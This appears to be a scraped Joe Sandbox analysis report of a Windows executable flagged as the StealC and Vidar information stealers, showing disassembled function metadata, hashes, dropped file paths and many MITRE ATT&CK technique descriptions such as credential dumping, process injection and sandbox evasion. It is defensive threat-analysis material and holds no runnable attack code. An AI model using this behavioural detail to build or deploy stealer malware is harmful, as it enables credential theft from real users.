Function 6C784D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C784D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C784DE6

Strings

%d.%d, xrefs: 6C784DDE

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: d5afc954425b0aec447aeb7e31d9e9b09d2348458cb15a63b3588f6c4c912139
Instruction ID: 0a776a4c207bf5cbc87ee24594daa561050287dcd852b5b7aecc065b8aeeba45
Opcode Fuzzy Hash: d5afc954425b0aec447aeb7e31d9e9b09d2348458cb15a63b3588f6c4c912139
Instruction Fuzzy Hash: 0831C9B2D012186AEB109BA59D1ABFF776CEF40308F450439EE159B742EB709909CBE1

Function 6C7A4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8zl,00000000,00000000,?,?,6C7A3827,?,00000000), ref: 6C7A4D0A

Part of subcall function 6C790840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7908B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C7A4D22

Part of subcall function 6C78FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C731A3E,00000048,00000054), ref: 6C78FD56

Strings

'8zl, xrefs: 6C7A4D07

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8zl
API String ID: 1521942269-2802663612
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 30d531143a16875831358a534bc39c7b89fa7b0bd4c05d48d854b6649f2a9cdb
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 5BF0623260122467EB104DEAAE85B4336DC9B4567DF1413B1EE28CF781EB62CC4296A1

Function 00413E2B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413B85
StrCmpCA.SHLWAPI(?,00420F58), ref: 00413B97
StrCmpCA.SHLWAPI(?,00420F5C), ref: 00413BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00413EB7
FindClose.KERNEL32(000000FF), ref: 00413ECC

Strings

q?A, xrefs: 00413ED2

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: q?A
API String ID: 3840410801-4084695119
Opcode ID: 0e70d8f007815c078199d768b3eb50a19077b8f7193eafda07f08b5b77a90090
Instruction ID: 435e47d99a68a60cc5746cb21b8f71e50488397b794716e085ba6dfc691b5c27
Opcode Fuzzy Hash: 0e70d8f007815c078199d768b3eb50a19077b8f7193eafda07f08b5b77a90090
Instruction Fuzzy Hash: B3D05B7190411D5BCB10EF64DD489EA7378EB55705F0041CAF40E97150FB349F858F55

Function 6C790DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C790DF5
TlsGetValue.KERNEL32 ref: 6C790E2D
TlsGetValue.KERNEL32 ref: 6C790E58
TlsGetValue.KERNEL32 ref: 6C790E84

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: ac590dfc4cee5c66a415294243e6afb87d41749a812c7b9dc46ae824f6fbf42c
Instruction ID: b601c732892c9f386501e6d3de513f425cfedeb0fc71e7113723acc997edf8cf
Opcode Fuzzy Hash: ac590dfc4cee5c66a415294243e6afb87d41749a812c7b9dc46ae824f6fbf42c
Instruction Fuzzy Hash: EC319071A653848BDB21BF3CE68965977BCBF0A30CF01467DD89887A11EB348495CBD1

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report xLgTQcFdIJ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Change of critical system settings

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGIJJKKJ

C:\ProgramData\DBAEGCGC

C:\ProgramData\ECAKKKKJDBKKFIEBKEHDGCAFCB

Windows Analysis Report
xLgTQcFdIJ.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre